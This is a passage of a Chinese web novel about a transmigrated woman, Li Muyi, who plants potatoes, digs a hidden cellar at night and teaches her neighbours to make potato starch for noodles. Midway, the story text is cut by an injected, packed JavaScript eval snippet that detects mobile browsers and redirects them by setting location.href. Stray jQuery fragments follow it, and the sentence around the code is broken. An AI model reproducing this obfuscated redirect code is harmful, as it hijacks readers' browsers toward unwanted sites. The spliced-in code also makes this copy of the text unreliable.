一亩地需要二百来斤能种完,除了地里要种一亩,她打算在麦田和稻田旁再开出几垄地,那里肥料足,大概种200斤左右,剩下的留着吃。
土豆有休眠期,像现在这样的天气,预计半个月就能发芽。
这个品种的土豆,是不用脱毒的土豆,又省去了一项麻烦。
土豆刚锄回家需要晾晒一天,让表面水份蒸发一下,才有利于储存,不容易腐烂变质。
大家把土豆铺在东墙根,李沐奕看了看天色,十点多,李恒昭他们几个,打了凉水洗了脸。
一个个背起背筐,跟她说了一声便带着小黑他们出门去割草。
家里的羊、驴、鸡、鹅,都是消耗草的大户。
李恒昭他们几个打草,王春生他们几个捉虫子、逮蚂蚱,回来喂给鸡。
吃完晚饭,新房那边已经散了,公输珵禹过来,李沐奕一起和他到了新房那边。
现在每个屋子基本上都有了雏形,暗室入口在她卧室下面。
公输珵禹指着西北角说:“暗室入口修建在西北角,主家可以从这里往下挖。”
之后她细细问了挖的宽度、深度以及注意事项什么的。
入夜后,村里人不再来回走动,也不出门纳凉后,李沐奕打着火把拿着锄头、铁锨和簸箕来到新房卧室开挖。
挖暗室她没用高科技,如果用上高科技,一个暗室和两条密道,多则三个晚上,少则两个晚上就能干完。
公输珵禹他们每天都看着,只能用锄头和铁锨一点一点慢慢挖,就这她还要控制一下自己的速度,别挖太快。
家里人也知道她晚上出去挖暗室,所以第二天早晨他们看见她正常起床都十分惊讶。
“我也只挖了半个晚上而已,后半夜救回来休息了。” 她解释道。
“娘很辛苦。”王平安皱吧着小脸,没个笑意。
剩下的连连点头。
李沐奕笑笑也没再解释什么,这点工作量对她来说,不算什么。
上午几个孩子坚持要一起去地里翻地,知道他们关心自己,她也没有拒绝。
中午回了家。
李恒昭翻看着土豆问:“娘,这地蛋是不是行了。”
李沐奕放完锄头,看了一眼东墙根下。
“是,等咱们吃完午食,就把地蛋装袋,一半放到后院贴墙跟放,别直接晒,这是催芽的。”
“现在家里没有多余的屋子,厨房温度又太高,剩下那一半留着咱自己吃的话,也放不住多久,我下午做个东西,做好后我们做粉条吃。”
“太好了,我还没吃过粉条呢。” 王夏生举起双手欢呼。
他们村子刚定居下来,没有石磨也没有石臼,要想把生土豆做成土豆泥,就需要其它的工具。
最快捷的办法就是做一个木臼,类似于草原上的打奶器那种。
家里没有合适的木头,吃完午饭她去公输家找了一块合适的木头。
一下午她把木头墩子掏空,配了一个木盖子,木盖子中间有孔,能放木棍。
工具做好,就可以做土豆粉了。
第二天上午。
李恒煦带着两个妹妹去喊人,李恒昭带着弟弟们,套了驴车拉着两袋子土豆和水桶,去河边打水、洗土豆。
李沐奕在家里做其他准备,陶盆、木盆,把菜板和菜刀找个架子搬到院子里,腾出一个大水缸,用来装过滤出的粉水。
过了一会,王巧云和赵玉桃最先过来,她们三个坐在院子里聊天等其他人。
又过了一刻钟,王长河和赵秋菊前脚进了院子,王春凤带着儿媳王兰香后脚也进了门。
“我是听你婆婆说,你要教人做什么粉条,我想过来看看。”王春凤进门就解释。
李沐奕没料到会来这么多人,进了厨房、厅房把板凳和椅子搬了出来,招呼大家坐下。
大家刚坐下,杨灵芸进了门。
“这么热闹?”杨灵芸看见这么多人有些惊讶。
“芸娘过来学做粉条?”王兰香亲热地拉着杨灵芸坐在条凳上。
杨灵芸有点懵:“不是,我就是过来说会话,什么粉条?”
“嗐,原是赶巧啊,我们也不知这粉条是何物,只是弟妹说教,我们就来了。”王兰香摇头。
他们聊了一会天,李恒昭他们拉着板车回来,板车没有解套,这些水是不够用的。
“今天也做不了多少,做粉条需要等,白天先把土豆碎了洗出粉来,估计着到了晚饭前,才能倒第一遍水。”李沐奕解释。
她认真教大家认真听。
“侄媳妇,这最后挤出来的渣子应是可以吃的吧?”王春凤看着渣子问。
刚想说可以喂家里的牲畜,忽然意识到现在是什么时候,前世被当做饲料的东西,这一世却是食物。
“可以,加点面或是豆粉亦或是杂粮粉,也可加些野菜,做成团子、饼都行。”
“晒干也可以保存一段时间,只是这里的粉都被洗出来了,渣子口感着实不好。”
王兰香接话:“嗐,这有啥,能吃就行,咱在老家别说地蛋渣子,只差没饿的啃土。”
“诶,侄媳妇,你就拿簸箕晒地蛋渣子?”王春凤一脸想要劝解。
李沐奕不明所以。
“先不说簸箕底下坑坑洼洼,容易钻进去渣子,就说这一个簸箕能晾多少?”
“你大哥不是腿脚不好,他也闲不住,在家里用竹子编了许多席子、筐子什么的,一会给你拿过来些,再拿些大竹编,这样你晒东西也方便。”
听到这里她听明白了,送席子什么的,应该是为了还自己教她们做土豆粉的人情,于是她也没推拒,道了谢便收下了。
赵秋菊也看明白了,看了看天色笑着说:“侄媳妇,该做午饭了,我们也回了。”
王巧云和赵玉桃也要走:“二嫂,我们也回了,要回去帮娘和大嫂做饭。”
“等等我,我也回,奕娘,我也走了。”杨灵芸摆手追着他们离开。
“奕娘?什么奕娘?杨姐姐你在叫我二嫂?”王巧云不解。
杨灵芸看着王巧云,听到杨姐姐这个称呼觉得有些头疼,点头说:“对啊。”
大家都看向杨灵芸。
杨灵芸解释说:“我常来与她说话,前些日子忽然想起她的名字。”
“李二丫这名字,我觉得实在跟她不相配,我也叫不出口,我觉得她该改个名字。”
“然后呢,改了什么?” 王巧云着急了,她怎么能不知道二嫂的名字,绝不可以。
“李沐奕,如沐春风的沐,神采奕奕的奕,行鹤说整个名字有如沐光明之意。”杨灵芸拍手。
大家默默念了几遍这个名字。
“沐奕,沐奕,奕娘,很好听的名字。”王兰香虽然不知道这些字怎么写,只是听着解释便知道是极好的名字。
王春凤说:“我早觉得二丫这个名字,着实配不上我侄媳妇。”
“谁说不是呢,这改过的名字,一听就和二嫂很配。”王长河感慨。
“真好听,我回去要告诉爹和娘。”王巧云高兴地转了一个圈。
“这名字改的好,也好称呼的多。”赵秋菊赞同。
杨灵芸不能更赞同:“是啊,以前她名字,我实是不知如何称呼,现在多好,姐妹与亲近人之间叫得顺口了。”
几人说说笑笑各自回了家。
李沐奕听到他们出门之前的几句话,要不是杨灵芸一定要问,她也不想说,名字就是个代号罢了。
吃完晚饭后第一次倒水,大家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136563|191002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陆陆续续过来,这次来的比白天人多,白天大家都忙,没时间,晚上大家都有了时间,几家能来的女人都来了。
王兰香拿来五张竹席,五个大竹箕。
王长河和王青云赶着车过来,王青云拿草帽扇风:“看你这两天忙的很,没时间上山打柴,过来给你送几车柴。”
李沐奕明白他们送的原因,她也没有推拒,帮着一起卸了车。
院子里霎时就热闹起来,白天没来的人,看着大缸里沉到水底的粉啧啧称奇。
白天来过的几人,绘声绘色讲着制作过程。
李沐奕倾斜大缸,把表面的水倒掉,又倒入两桶水,在里边搅拌搅拌,继续沉淀。
这一步没什么,非常简单,没花费一刻钟就做完了,大家坐下继续聊天。
王春凤突然说起了隔壁村的豆腐坊。
“听说是突然没的?”冯秀珍问。
王兰香一甩蒲扇,脸皱起,满脸不忍地说:“下半晌我赶着车去买豆腐,到了后他们村人说,人是早起做豆腐,倒那就再没起来。”
王长河媳妇李秋月问:“他家还有会做豆腐的吗?”
王兰香叹气:“他媳妇早早去了,大儿子是个傻的,家里还有一个小女儿。”
“去年他大儿子好不容易娶了媳妇,他把豆腐方子守的死死的,就怕儿媳妇得了方子跑了,也不肯教女儿,把嫁出去的女儿都是别人家的挂在嘴边,这人一下子没了,剩下附近几个村子,没一户会做豆腐的。”
冯秀珍满脸焦虑,她最喜豆腐,味道香,只几块就让吃食有滋有味,可以少放肉少放粮。
许小花一看婆婆表情,就知道她在想什么,她一脸惋惜:“那之后买豆腐还要去县里不成?”
“可不是么,这豆腐滋味足,炖鱼放上一块,别提多香。”王兰香的亲弟妹,也就是王大年三儿子王金礼媳妇李小草可惜地说。
温锦绣也一脸不开心,她也爱吃豆腐,如今想要吃上一次莫不是要去县城买?
李沐奕坐在条凳上,想着古代的方子,在古代,各家把手里的方子捂的紧紧的。
一个寻常方子都是用来传家的。
不说在这里,就说前世的古代,唐朝之前士族把持社会资源,各种各样的方子都握在士族手中,士族出嫁女若是带了书和方子去夫家,那是女人最贵的嫁妆。
唐末落榜生黄巢,照着士族志挨个屠族,这才让士族把持社会资源的情况有所缓解。
寻常百姓手中也有了各种秘方,少了士族门阀的垄断,宋、元、明民间经济高速发展。
说起做豆腐的方子,光她就知道好几种,卤水、石膏、白醋、酸浆等。
只要是能和大豆里蛋白质发生反应的,都能点豆腐。
可是现在,附近几个村子,就只有一户做豆腐的人家。
聊的差不多,院里的人陆陆续续约着往回走。
夜里李沐奕继续去挖暗室。
半夜一点多,从新房回来后,缸里的水又换了一遍,这第三遍沉淀完,出来的基本就是雪白的土豆粉。
第二天一早,几个孩子收拾完碗筷,跑到大缸前跟着一起看。
水倒掉后,只剩缸底一层厚厚的土豆粉。
200斤土豆大概出20斤粉,现在是湿粉,要重的多。
把淀粉铲出来,放在麻布里系在晾衣绳上继续沥水。
昨晚上时跟大家说了直接晒粉,等到做粉条时再叫他们过来。
把土豆渣从袋子里倒出来,铺上两张席子继续晒。
她正拿手理着土豆渣,王巧云偷偷摸摸进了院子。
“这是做什么呢,怎么做贼一样?”李沐奕笑着打趣。
进了院子的王巧云拍着胸口吐出一口气,嘟着嘴一脸不高兴。